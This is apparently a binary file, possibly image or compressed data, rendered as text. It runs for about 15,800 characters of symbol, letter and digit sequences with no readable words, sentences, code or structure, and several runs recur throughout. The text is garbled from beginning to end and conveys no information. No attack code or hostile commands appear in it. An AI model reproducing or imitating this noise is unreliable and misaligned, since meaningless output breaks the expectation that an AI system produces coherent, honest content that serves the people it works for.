"=#8&5*4,< +< ,=RTZM_J`N]O_P^K}mTf}l{zoa|pkl`fyhju`~eWo_`fe}\kwdj.A;599 6< 3?/>-:+4+1 )80>,6+1#7;;@ 9>=C43@8N!9M!9O"6Q!3N7J)4H72D34@!9:<5:/$5+/3(9.;(>9AIEUT^howvc}&ZaAH8<:8D9,;@):?&7< 37/3.21548&,>".?.=,8(5&2&0&1$ 7#!5%0(1*5.@1K4T41/. ), (-(2(6(8'8 '@)?+= -; .8.7/5!/5+F+B ,> .:083512/-"4"4#4$4%6(8)9+:,8,7+6*5*5*5+6+7';'; (: );+>/B!0F(2H)?)?)=+:+8+6+3+3/218+3@11D,.F".J2P6S8;05)2'2!&5 &6'9 )<'A&@%?%?$>$?%@%@-2,2*4"&2#1#1%2 (5+1+1"+4&-5&-8$-8 .8.8+=+=,=,=ZM_J`N]O_P^K}mTf}l{zoa|pkl`fyhju`~eWo_`fe}\kwdjXrgR{Q0e`5^FvLwT8LC8@LGW-A/A0A0@0A'/B2..),3 .<1F4K2F *8$.(; (9 (8 *8-8/7.5-3(8)<-A 3G ;GDGLCPA:4670;+?(@(?+=+;'='=(>(> )> )> )? )?6? 4B 0B )@ $@$D*L.RY;\:[?ZFY-+=0*<)*>+B,D,G-M.V-Y+V+M.D0=+A*? '?%?&B(F+J.N1:2=3C4E 5E6C7>"7;&>I2C*A+G.I 0E3@ 9@.S-Q,N+J +H -E .E 0F2G3I3J0H,F +G,K0O7L 5K0H,F+E+F-G/H3I6N8U9Z6\3]1`1b5O6J :B==6A3@->)=(=*? +=/>2>2<.8 .7.8ZzuoP{T0diWtsMlNvh8SO9DIETztsv4+Y"&@9%0X"0i0@3E1B->,;+:.@-?+>*<)>)=(>'= $@ $@ $>$=%>(>*?+@"+6+6*8*;*>*A,D,F4C9D&BJ,FO%>J.@&?'D$E&C)@,=,=)?'B $C$?'=): +5 *4*6,;.>10./,/)0&1%3$4$6 +;,<,<-=,>,=+< *;0?+:'4 $1 &2)5,5S5NIHMKQEUt@r|;iFeU`VV\YVWTYYP}dNktXoof\UV}iz^mUw^^f\~9>0: &2*2)1)1,3/6.6,3)0 )3(1%/%-#&.'+0(/3(34#7$7%6&5'5+61;5> ;?CKN^RgGZ 7D3564/9,8+6+8,;-=,?+>12396?8C7B6>6;98.2272:.:-=0C.D *@)4(3'2'2'3(5*7+8+;*:):(9'8'8%8&8 )@-D,C/D(>R4P`-O]CN&%="$<$8%4%2'2 )3 )5&5)7,:-=.=-<-<-<),.#*-*-*0(2!#0& 0, 2!;#9%9 &8'7&6%5!%4%=%=&;&:&: (9(7(7(4(3&3&2&3(5 *7!+8!E(@.6-+ (( $/'@)O)%J)(J$*G*=)503;:F@#BB :;.3)2+8.<-= *;08.6,3)/'+&*&)&*!68 4=0A,D(C (> +; /9 +< ,=+=FeU`VV\YVWTYYP}dNktXoof\UV}iz^mUw^^f\~`f`xm;Q?9><:@ 7@ 3@/:.5,0 &2/8+2'-/5/8,93A2=!=H'GT)LZ,L\/H\0@X,7QCS$;K(3B&5> ;<>:<4!80$7=1C4@B<7RK\juñ}5vTd@G:2>)$2:"29!08/5,3.4184;0@#0@&.=()9%%5!#1$/%0$#9 #6$2&2(4);,C-H0..-+.+0+6)7&8$6'>)>-?0>1?0>0=$/<*@*=)< +<,=,<*<'9#5#5#5%6&6(8*9+:(4(4&3 &2 %2 &2&3'3&8'9 ); +<->/A/C%0D)@)>)=(;)8!(6!(4"(3.005%18(.;$+;->2E9K <> 47*2&3#&6)'8-+>0.C(G'F&D$D#B#B#B#C+2*3)4&3$2"1#2 %4)6+7!,9&/:(0<&3=$3="4>+=,>,=+=*U?T4C(30@-=*9*8+6-7,4+4'9)<-@2C 7C<@@=A;785:/<+=*?*?+>.< '= '= '=(>(>(>(>(>3@ 2B/B*A $@$A(F+J49;B7B.>.C6O5Q,H3=1=/=,<*<)<)< );)8)8(8'8(9):*:LaR^S^R`J_}9Uz:\FSS5NIHMKQEUt@r|;i+.>+-=#->.A/E2N5S5X3Z0T.K-B.>-C-B+C*C+G.L1P"4S3<2@2F2I2J2H2D3A#6E0C+B+D *C)?/? 5B,Q+P*L *I +H-G 0F1H5I 5I 3J 1I -G +H-J.M 7L 5L3K1J/H.H/H/H1K4O7T6V5X3Y2[3\9ND?@>A:H6R2W0Y.W-T+P+O -O0O4P 9H6F1G-G+J1L1L0K 1B 4D6G5J2H.F-F,F)J+K/L3L6K8H8F7D0I1I0J/K .K-J+J*J1H0G/G.F/G0G2G3H,D,C-D-D.D.E/F/F'I%D*E%2H&0C'9%9,@1=/@ .E-I/H/E2@3=/E+B(B'E*J+O(N%M.F+B)?,?1B4D4B1@7@8D:F6F0C+A+B*D,;0=5?5>1; -8,9e|n|IqgVuT3M`vDnKrN*<);)<*=+< *<$= $= %< &;(=,>.@0A+>+>*>+>+?,@-C-D2D7G"@Q+GW(?S1F(@(B$I%F(B*? *? (B &D $H&;(: +: -:.9.8.9.:1000.1*2(2&5$5$5*<*;,:-:-9-7-5.4-</>1>-:'5 '3D?\8DKJT?U-X'b(]0]5b5i:r>|;nDcUcW_XdK_L]uVWwdXwm[nzchj`kmxd~pYePr\b)7B)5?$0;)5,4*2*2086>6>.6 &.+1*/(-'+!)+",,#0."3/#6&9)9*8,9/93;6> 9;BJLXJY=M3>195908.5 )3'3(6,:,=,>6083:6<9<9;8;6;5/2484:09.<.A+@ '=(5(5(4'4(5)7+9,:.A,@)=&;%9%:&;'< 8 $8 %7 &6/>;J&$;$4$/%. (3 +9 ,=!+8",9#-;#.=->.>.> /@%,+$+*#++&-.'+/'&,'$*+#,"8$8&9 (:(9(9$7#6%:&9&9(8 )7 )6 *5 +6(5(4'3'3'3(5*6+8"'B$-@"2902+-'3(A*L(H*H+C)<)5 .468>=&9<"38-2+3/93>2>0= 8< 49 /5+1'.%-#%.&&/"::4=0A,D+G-C0> 1; +=,=+=;nDcUcW_XdK_L]uVWwdXwm[nzchj`kmxd~pYePr\bhVae\jx!;UA:><;@ 7A 3>08 .2 ,.$/#,6"'0#+!)3)8*>6KBLKT%Ua.\h9`mB]oBRhAI_(Ub!HS:D6>:==;;7937<2D4A >8RI?musŷ̑P)\l@N3:42-8-8,7+5)3*4.71:+;*<*):2$61!3, 1##0$1 &;$7$5$4%6'9 ': &;0.001306/:,:(9%7%;(<,>0A1B/C-B#+A(;(9&: '= 'A&C$D!C%6%6%5%5&6(8*9+:'3&3&2 %1%1%1%2&3&5(7 +9 .<0>/>.>!,>(A(@(=(<'9$'6&&5)%3../1 .3!+2)1+42:8A@A6: +3&3$%6/'<5,B:1G)K(I%H$F#E"D!D!D)3*6*7(6$5#4#6#6&9'9*;$-='1?%3@#6@"7@.?.?->,>+<):W_XdK_L]uVWwdXwm[nzchj`kmxd~pYePr\bhVae\jxe|n|IqgVuT3M`vDnKrNWDZ>N5B7D2@-;*6)6+6*6*6';)<,>0?2?3< 48 462=0=-< +; +< *< +;,< '= '='='='>'>'>'>);*= )?'> $< $=(@,E06;F;K0B2I#>Y1=/=,>*=)< )= )<*9*9)8(9(9):+;t1[;\z9_y5^u1\w4\FYD?\8DKJT?U-X'b(]0]5b5i:r>|(2>%1<2>2A2E.K1N3R3Q0L-E,? +<4H3H1H1J1M3P#6U%7V5=2A1G/L-N.L-I.E#1F.B+A+B.D1E3E4F*P )O *M *J *H.H0I2I 7J 6I 3I 1H .G+G,H-K4J4J3J3J2I0H0G0G +I /L1P1P 0P 0O 0O 1Q =K>H?C>A 7B2H-M,L.H/A2<.B +A (B )F-M,Q)Q %O/C,B)A(C*D,D-A,>6A8D8G5G/D+C*E*G 1: 5? :C^Ifh\^edlizc|Cpkl{kg9-XJ{RzfKhZHdvTucjW#?C1b+4`#Fi"Je'Ti'W\%S1?8B2=,9 *:#-</?/= /;&=&<'<); ,<0>2@4@+E+D*C+C,A-A.A/B .D2I:T%A[#M%=J1>B@X9Q@JLCP'W U*G/H5I9P9Z6c3w;=mFbUpPiH]H[{L^wS]u\Z{eXnUnT|cVt]UyVe9:P<:M>8H90<3(1,4*2+33;!-9.90:37 /3 *1 &/'3)7,:!,<11205181:2936353$55'9;&:> 4=2>3D/C*>-<,;*9)9(9(9):*;0A.?*<':&9%9&9&: #;%9 (6 )3 ,70?0F.H4/K..B!)7'- &+%1(:)A.->0,>3,>0*>()<*;,; -<+**)#,+)..+-.(*+&)*%)*$4&6)9 +:+<(;$9!8'7(6)6)5+5 ,3 -3 -3)6(5'4&3(4)5*6,7(*=+1>*6=$69/6(7 $> #D+F*D)@(: (5*40649)/7",3,1,3387=8>7> :< 79 05+3(1&1#%2%&3//*2%6%>(C+A -<5I9Z6c3w;=mFbUpPiH]H[{L^wS]u\Z{eXnUnT|cVt]UyVekNrh\^edlizco@e4> 1<.7,/,+*(73/=/+7+'2//<,1D.9O:Jc#[e%_i*dn3jt?nzJm{PfuP_p6fo%T]AI9?!7<$79!6886;A6K:IH? \M,wzp¡lFZ_49L,E-I,:-;,9)6&3&3'4)6#3#5("41 311)0#$1&2(:$9"7#8%:(9 '6 %21/33485;1=.<*<(:%6'9*< -?.C,E(E!%E&6%6$8 %< &A%G"GG&8&7%6&6'7)8*9,:)5(4'3&2%2&3'3'3&3 )5 -8/:0;/;,9+9(A(@(?'<&9!%6&&6&%4*0,2,3*1(-*.0379?A59 +3&3$%6/'<5,B:0I)H(H'F$D#C#B#B#B(6*:,<,<(:%9#9#9"<#<%>*>!->!1>4>5=0A0A/A.?+=);'9PiH]H[{L^wS]u\Z{eXnUnT|cVt]UyVekNrh\^edlizc|Cpkl{kg9-XJ{RzfKhZHdvTuc1A(?!<-0*4 (:,E2N:T!?S&AR:E5@.9)6(6)7(7(8';)<+;,;-:,8 ,7 +6 ,@ ,? ,= ,: +: *9 +: *9 '< '<'=&=&=&>&>'>&> '?'?&=$; %: *< .@09*>*> )>*>*:*9*9_ Be'Ti'Wf'\g,ak-_j._u0_s:[DWB@X9Q@JLCP'W U*G/H5I9P9Z6c3w;=mFb~Nd3D%D*E-E.B-?*= )< (=3H3H1I0I/K0M1O2Q4?2B/I -M+O,N-J.H"1J-D)?/A8J?S=R7M +P *N *M *J+I-K1K2L8J5H3G1G/G.H-H,I1F1G2F2G 2G 2G 1F 1G *L -M0O1N 1L 1I 4J 5L?J >G:E1N+T(T)N.D0> .@ ,? -A /G3N4Q/N ,K1B.B)E&G&H (E)B)>/= 0@2D/D +CdHWqR]qQbpNkpItqIypTi^hgpsfz_RyhQlyz*5\KuNxSUX{hM3g M #:M.b&;bHmC_BO6B3E7O:U%E_4MpGQ;:&4A4? 4<+>*=+<,;.= 0= 4> 6@*K*J+G+E-B/B2B 2A.H/L4U9\5X-K+C/B(U)Q +L +H +H *K)P (T 2; /; ,: +=0>3=6965<5;5987: 4<"0<$-<$,;);*;+<,<+=*<););%6 4E-DR+CR@?J4a7O>HQ(Z#N1J7C4H6A:>@E?R7d4v;@qEgKbI^}IfvEesJcqO^qQ`qR]qQbpNkpIt79V:9UF?XNBTG7A:&,-5+3+42: :B!/7)7(7&5&4(2)1,1.1 &6*90=3>3<4;4:59::JL$OQ>B ,3 )3,8+957 13 +/'-&/(3)5#*8)6*4+0/.2216.7+8!11%55$58/6/:0>/?)<0@/?,=*;(:(9':(:.9-9,7*6(5'3&3%3)B,?/: 26 17.=-G-O6:T17K%4</1+. '3 %< $D++F/*D4(A4&=.%9!)7,504+/*,+.&.1*/1$--,+-+$1&4 *9 .= ->)<$: 9(3)4*3,3,1 .2 /2 /2$)7!)6(5'4(4)5+7+7)(4+.6,4:%49-7&7 !;>,E*B)=':(7)6,7,6.(3&)2)1/347799:8: 46 14 .2*2&2$2#3$4*+%P#N1J7C4H6A:>@E?R7d4v;@qEgKbI^}IfvEesJcqO^qQ`qR]qQbpNkpItqIypTi^hgpsfz_RyhQlyz*5\KuFl1.@.,;*+815A1:J7DYFWo2ft/gt.hs1kv:nyCnyIjuJfq9iq&Z`GL&C$E"D(9'8'8'7(7)8+:,:*6)6(4'3'3(4)5)5(2+3 -5 0708.7+6*5(B(A'?'=&:'8&6&5%4(6+7*4(.)-//33 9= 18)3&4#&7)&;,)@/-D*B(A'?&?$=$=$=%>'9*;-?-? )= %<#:!; @ @#?%>*<-:08160B0A/A/@,>*<(:&8I^}IfvEesJcqO^qQ`qR]qQbpNkpItqIypTi^hgpsfz_RyhQlyz*5\KuNxSUX{hM3g0:'6+.*5)= &B&E-I"8O/@T9@4<.8*5(6(8':&:&=(;)8*6)6)7': &; &C (B ,? /< /: .9 +9(9 '< '<&<&=&=%=%=$>-H-I,E(@&;'8-90<2<9G9K2I4P"=];] 0S 3A1@0A,@*@E/] M #:M.b&;bHmC_BO6B3E7O:U%E_4MpGQ@?J4a7O>HQ(Z#N1J7C4H6A:>@E?R7d4v;@qEgKbI^}IfvEesJceGS +7);)? /C -B ,C ,D+F*G*H+I2@0C#-I)+M)*O$-M/G1F 0N.F,?1A?N#HZDY9S,S ,Q *O *L+K.K0L2L9J6G1D0E0G/H.I-I.C/C /C 2D2E4F 5H5I/T1T3S5Q6M8J;J>K@K=I9H5G2I 1L#2Q$2S'5I&3H#0K.L.P0U 3Y5[ 9I5I3K1O1T .H-H,F"1F 1E0E.D -C.D2G5J3E 1E.F,F,I/M1R5T6C 8C ;FN-BR*AQ =K5C1>-D-D /E /E 0E1F2G2G3IAT*N[6P\>W`@]e1Y`!MU<>5G,R%[ #[ &V +L 0D 0@ /? 1@6E;I;J7E 2A 0=-B)F&K$L %I(D+A)9zCpx>ty=wz>vvAvvCysB}tDtIuSq^lfomsucvba}n@aex.TVAmPY|UlEy)TG D("6U0` >eHe8F 2.5+;.>39A1W(?vCI?8W5\/PCBM.@.>/; 0;2:4;5; )P )N*K+H.F 2C$4B&5A2P.Q/V1\/X +L .E4E,\,W-Q .N -M ,P ,V +Z7; 19*7 ':+;2:78:5 ?5 >7>9;:8=4< 0< -<*8)9*<)?'A&D$D#E&7.?!6GvCI?8W5\/PCBM$L+J/O"P#P+R3L9DAF@S4g1;~ElG^HezCpx>ty=wz>vvAvvCysB}tD.$<$;&9'8)7*6 &4*70<3>4;27151464JG RN>=+/ *2-: *: 76 12 ,. (,'-'/'2"'2"A"< $5 (3,7,<'@#A,* ...0).)2,9,<):.@,?+=(;&:&:&9&: /2/3142604.2*/(-*B,=17 65 46 ,:)E*Q)5O'7H$:? :7771=*F&M(J 'H)&D.&=+)8#-44393/5,4,5".5$/4,/,+-+$0 (3 ,8 /= .?)>$= :)2)1+1,1.1 00 11 10')8$(7!(6'4(4)5+6,7*',**/),1!+2'4$7 %> %D,B)?&;&9&9'9(8 (74'5+(4+3/3 23 43 4343-0,/ +0)1&3W5\/PCBM$L+J/O"P#P+R3L9DAF@S4g1;~ElG^HezCpx>ty=wz>vvAvvCysB}tDtIuSq^lfomsucvba}n@aex.TVAmPY|UlEy)T&CO*KY9]kCl}?l|:n|:r|qy>lr?hn6ag!V[JM?F15?7-9//9'7=;L@X"P^+bV7iZPsv|ǷhvoPRTG9D1*<(9&;(=(=&;$8#7#6$88"93$:)&8&5&3&1 '0)1'8$8 !<%A,E0B19/0/-0226/6+7(7':)<)6)7)9(=&A$G!J M($5#$4%4'8)<*?)?&>)9(9(8(8)8)8+:+:)7)6(5'4&4'4(5)6+3,4 .4 /5 /5.5,4*4&B&B'? '>';(8)6 (5 :$<)>+:)4)/,//039,5(4&5"&9 &:&;'=*:):(9&7&7&7&8'9$8'<,?-?)>$<!;; EE!B$?'=*7,4-2.?.?.?-?+=);'9&8$6zCpx>ty=wz>vvAvvCysB}tDtIuSq^lfomsucvba}n@aex.TVAmPY|UlEy)TG D -1)/)7)? &C #D&D".H.5L6;28,4(4'7':&:$;%>%:'5"(2!'3'8&>&B"G 'F/D6@6= 3< -:): (< '<&<&<&=%=$> $>-L-K*G'?&9)7096=3@3B2E/G1M3T2U /S 2BY|UlEy)TG D("6U0` >eHe8F 2.5+;.>39A1W(?vCI?8W5\/PCBM$L+J/O"P#P+R3L9DAF@S4g1;~ElG^HezCpx>ty=wz>vvAvvCysB}tD,@ ,B ,C ,F,H,J,J0A.E&+H/*L0+L(/I3D6A+J.H0C4A>JFWC[9V .T -R ,P,M,K.K0L2M8H4F1C0D1H2J1J.H.C/B 0B2B5E7H ;L=N/W2X4T6P7K:H?GAGAN=M7L1M/O/Q"1U$3W:G8G5I1L0Q1V4\ 5` 6Q4P3Q2R4U 1J.I.H,4I'3H1F/D.C0F5I9N6C 2B/C+E*I,O.T1X9?CAC@B>@;<::5A;H'CP/HV,GT!@M7B1<-D-D .E /E 0E1F2F2F6JL^6\h@^fIdkKms9bgNS7<0F&S!^ !`#Z+Q0I 3? 3? 5?:B>F?D :>59 .: -?)G%M$Ov:47::=DR|[n]mbnqlqfvjaxb C C GCE H KC)6+.\8c!?cCU 115FNH B5C@4b1BBAZ9W2KE>H"G(T"R#T2:4:59 (R (O*M,J/F!2D'5C)7B5V1V.Y.\,W )K/E7G-_/[/T /P 0P /S .Y .]9: 07'5#6 (91987<4?3?5 >8=:8<4<0;.:*8*8)<'A%D#H JL%6%6@4b1BBAZ9W2KE>H"G(T"R#T!S!Qz*O:M9BGN8X1zv:47::=8O8T7U6U),= 75 32 ,-),'-&/&/!$0JC < $9)=)D$HJ .*#0//0*/)3/<0@.?+?)=(<&;%:%:%;%: 1/4276:98844//,,(A*: 04 6444,9&E'R)B1@!:=&B='B@%H"G(T"R#T!S!Qz*O:M9BGN8X1zv:47::=DR|[n]mbnqlqfvjaxb C C GCE H KC)6+.\8SyP~LHFBw|Asw/V\PTJM"BH85B>+:5.;,7A#)@7PR]0h\Rh\lkqİ]x|L\cLGM;55!/("8$:&<&;$:$9&:',:*5(1(0(0 '7 "8 !=%B/I4F5;21,+.//3+2%2$2$7(; ,7+8):'>$B"H!MP+$6$$4%4(6,9-<,;*:):):)9(8)8*9+: +:)6(5'4&4&4&4'4(5,2-2 .2 /3 /3-2,2*3&B&B &@ '> );)8)7*5<"@)B,@*8)2+/,0-6)3&3'6!':%8$8$8)4)4)4(3(3(4)5)5"8&: *>+?(=#< ;: IG!E$@&<)7+3 ,0,=,=,=+=);(:&8%7(7'8:47::=DR|[n]mbnqlqfvjaxb C C GCE H KC)6+.(1(7(@'F%I%G"'D)*B4705+3(4(7':%<$<%>%:%4"&0#&2 '9(A(G!K )J2G9D;A7> /=*: (< '<&<&=%=$= $="$>&H&E%B#<$7+54;<@ 4B/? +@,E-Lb C C GCE H KC)6+.\8c!?cCU 115FNH B5C@4b1BBAZ9W2KE>H"G(T"R#T!S!Qz*O:M9BGN8X1zv:47::=DR|[n]mb1N2P3Q/A-D(*H2*K2+J+0F5B9>&G/I5G7B:E@P?W 9V /V 0T .R -N-L.M0L1L8H4C0B/C2H3K1J/I".D/D 0B3C7F;J?OAR,U/U1S3M 5G 8B>&2A 3@4A 5B4B 2B 1A/B/H .H .E/E1E4D6E7F8=HL[b,gq.dr)Se#?V2K+@,@+B,E+H,J+L +N293:4:6;5;5:3928 )C,D?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EV#M)R.S+O*I-H1I2H3L3L7Q ;U4Q*F(E.J+["0_.X%I#A*C1D0C'9'8 '5'0 (/,1,28:6<<:,@,A-5E=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:#5P!7Q:T=P@J"AD'?C+9D/4J01N0508/> -B *C &>"8"4&0'0&0&0'1)3*4+5:J;K8G/>*7*4,3+2 /7=G?J1? &8)=,C'?.; -;,;+;);"(;(&;*':$;%:&4&-*31?-D$@$)5#*3 .//.00-6*> (C /3 14 282:/:*7 %4% 2I ,M,@L,FC$?634-;,D)*:&): (;&9(5 ,4 13 72,B.B 0C!1C"4A 2?1<2:&,)$,)$+,%,0&/5&/8%-9#+9(I*H,E,B*>%= ; :"; &=+>/@1@ 0=.;+9/2.7*>&C%E$A&:&6,D+>+4 ,/ ///1/4,6&9%8%7(:-@0C0B/A/2*5 $; A"C)@1=6:+8)5'4)4+4,53T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2YQzOvFkl$PU9\^A[Y0IG:;"4A1-I<#K.,J/T /V'Ri>\\Ul\bvm^}:gj.We:K %/1/ -2,2 *2 )3 '5&6&8'85/?..7+01'40 20)0$5$=$6$6%6&5'5)5)5*4)3)3&2%3#3#4!$5$$7 ,0,2,4*7&8%:$=%?$7$7$7&7'5(4)4)4#6&9+>/A0A-> )9&6)(*(+-)0&3%6&;&=!-;1;6=:>:;57&/2.,/.&7''8(8*9*9):':':'&,!&,'.)0+4+7(7%6 '4&3&3%2%2&&3,'3.(3''0#&/&.&.)0-0.1.1)2 (3'4)6#+:,:*8)6$; %: %:%9%9%8&8&8-'5'(7)8)8):(<&=!&=)7(6'5.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6):);+=*<);'9%7$1,9/<*7'5*9*9'5"+@$1D&5H2C+; '6 )7-; 09 .83@:J5H';":(A-.,/,3,5,7,7,7 ,7 #L "I"D$>'9-42150*;-6`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsq*J (M-M:JIELDDE:H-N3H 8 6<.E)M 'O %N%M*R"1W4W.P *J$0H.F/C 2D 7E 9F 8E 6C-92? 5F5I3H3L :V@]0Mb'@U!4K!0G /F1G7L?S/?1?1?0>%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F4U0N0J2J2J1M 5QB;=C"3M')R)"R&!M$&G$*C3E0A+< ): *:+;,<,<4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\ ;N:M:TI >A :> 3>!.@!+D-2-5,=,B *C)A'=&8$-%/(2*3*4)3'1&01D2F 0B*;'5(5*5,4 )25@8C-; '9-@/E+A .; -;-;*;);!(;%';(';&C %@(9)3/65@4D,A#'5 )2,//-01/7.@,E27395;5<1<+9!%6%!4 F,F%;C$=:60/3,?.J+19%-8)8&9(9 +8 -705&<(<*;+;,9,8,6,5 0. /. /0"/3%/7%/9#,8 )7*H,G.D0A/@*>&>#<#<'> *>.@ 0@ /=-:*802/7,=)C&D'A'=(9,C*>*5 ,0 // 03.5,6'8%8%7(:,@0C/B-A/1*5 $: >"@'=.:37*7)5'4Q 18:7G5D@O4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D?U\OO6]\Dea8[W$MM"DO-;T61T14R4Y:_*Wo9]_;YOCg`Lyzv|udwo=\]!BQ9Q*B#0../3.3-4+4)5'5(6)7/4>*47&63&<382.0 '4 %9$6$5%6&5'5)5*4*4+5*3'3%3$3$4%5 $7 ,5,5,8)6&4#4#5$6&3&3&4&5'5'6'8'8%8);-@1C1C0@+; )82,2/13/4*5'6&;'=,:/94;6:5835#/2)+0+&8$'8)8*9 )9):': &:"'3'2'1)3,7+7'5$3 )5 )5(5(5*5#*5*-6,,7+-6',4 *1)0*0+0-1,2 )4(5'7!)9#)< *<);): &< &; $:$9%8&8'8'9,'5&(7*8*8*:';&<%<'8'8&7'5L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G+=,>,?,>,=+=%2+8-;*7(6+:,:(7",@%1E'5I 3D,=)7 +9.< 09 ,7/;5D1D(<'=.F39 08+7)5(5)8*: ,; #J "H"C#>'9.624{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude5G DCIA @B 6C0P8M?F D@ ?< 6>.E)K,M*L*L 0P&5V#8V5R1K!2J2H0C 3D6E 6D 3@ 0>,; 1A6G6J 3J 3M 7S"%>,?,@,B+D+H+I+L+N )C!*D"+E!,E6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~c$Bg&G;><1?(D!%G#'F"(A!*<4P1J-C,?,:-9 .6GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xx"CN AL37-5&6 $8).*3*:)@*D*B*@)<&/)2-609/9,5)2&/'>(@%'?'$:(#8&%6&)8#*8%.+7-9 (7 )<2D3I .C -;-;,;+;););!':!':$J"G'? *7077;8>2>#'8 *5,10.1007/?-D4;4<6>5?2?,;&9!"6$>+=2810,+(2)C.Q+98#25+5(8*?+A )?';$9$8$6$5&4'3)3)255352639 2: /:+6'4,D/C1B4@3?1?-?*?%>'?)? -? .?-<,9*914/6-<,@+C+A*? +=*C)>*6 ,1 /1 03 -5 +7(7&5&6'9,?/C-C,A,3 *5 %8!:";%8)6-4K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD;a\2]XSSKTBV';W(7T!=`!Nq4d};go(PN+VW/^gIWT4HH3=&>"B!>&3 .-*04)15(16#/5*3)3)4*5 6863:1?3<21.)0&5%5%5&5'5(4)4*4+3+5*4'3%3$2#3$4$6,;,;,:)6&2%.$-%,)-).(1'5'7%;&<%>';*=.A1C1C0A,= +;83858638-7*8';)=*9,8.7/604/3,1#-0%'8 (9)8*9 )9 (: &: &:&:&8'7)7+6*5'2%0*6 *5 *6,7.8/9$2:'3<-5=(29 -4)2)0)2*3+4 '8(9)<&)?')?"(>)>)> (? '< &;%9$9&9):);()6#*8*9+9*9(<&;%;%9&8&7'5(5irr?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[M+=,=+<+<*; )5,8-9)6*7-;-<+9$-A&1E&5G!3D-=*9+:/</9 +6 *8.=,@)=+B1I8E3B,<&9#8$9'>*@%H $G$B%>HUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV G;>2?3P:NBKFG BB 9A/D)G1I/I0H#4L):Q&=R *:)=0C4I7M4L2L4N6Q8R 1L-J!0O(1P&/N".M#1P4K 3J 0H-I,J,L .P /R2K2M2P!1T 0U/W/X 0Z"-K-K/K0L1L-M!,L#+L/A.B.B/E0I2L3P5S,J,K,J+I,I.I/K1K"3I 4N4T2Y.X+U,R -O0H0H/H0H0G /H .H .H (H +I -K1M3M6O8N9O09K-8I(5E 0A*<'<)?!+A,?,?,B,D*G*I)K*N+J,K,<'=69S4[29NkGy;W:T8R2k89m@01Wrotppiphzrm*>(;(8)51R/L+F+?,:.6VLNM<?&FMN&3P"<DH[6Y6XDJ?,<'=69S4[29NkGy;W:T8R2k89m@01WroBF!GKDH>B+2J*5F$4A3:/4 *1&1$3(,'0&7%=&A'@(?)<+4-6091:1:.7+4(1"< $?+&@2%?4%>3$;0&9.':$/&4'4 &6 ,>5G 4J/C,;,;+;+;*;):):(: NI$@'6,2142526%*?#+9.40/1/04 0< .A0;1<2>2?0?*:$6 4%5)3,0*+ &* $2'C*O%=441+1)9,D-J)G#B'<':&7%5'3'4*4,45<5;4;4=3=0<+8'3,>.=2<4< 6<4=2>/>&@(@)>*?*=+;*8*8 04 /7 /: /? .A -A -A ,@(C'=*6-2/3/4,6 )8)6'3%4&9+?-B+D*B*4 )5'5#6#5%4**6=6\8XI_EVDT@VLNM<?&FMN&3P"<DH[6Y6XDJ?,<'=69S4[29NkGy;W:T8R2k89m@01WrotppiphzrmgAr:lyLRMV LZ$@<// &1$<? $<#-50)925857759.26$,4*0)0*42- 2*7+=2;3 1.).'1%4%4&4'4(3*3+4,2*3)3'1%1#1"1#1#4*<+<,:,7*1*.++-++)*+*/(4&8$=$@#A':)<,?.@/@.?+< *:71746526-6 *7 *9 *<)8)6(4(2*0+1-1-1)8)9)8)9)9 ': &: &:%A%@ '< ':)8*4'0!$-)5*5*6 -7/82:5<7=+7?%4;-6)3'2(4)5)6 '9(&/A$1C!1A,<*9,9-:.8+6+8,;-?-@-D.F4F1D-C)?'?&?%A&A'E &D|]mSDyLuRxZgierkcVB O!BH887$."%**6=6\8XI_EVDT@VLNM<?&FMN&3P"<DH[6Y6XDJ?,<'=69S4[29NkGy;W:T8R2k89m@01WrotppiphzrmG=T;Q 8M 8K 8J6G0C,>)A/F4K6N5M2K1I1I1M-K.N$4V-5X+0T',O$+O 2I 1H /H-I,J ,M .P /Q/N/P!0S(0U%.U-S,R +P',H%-H".I0J1J.N",M$,M2C1C1C/E/G0I2M2N,K,J,J,I-I.J0K1K8@ 9D8L6O1N/K0H1F.K/K-K-L,L ,L,K,M *L ,M .O1P4R5S6Q6Q 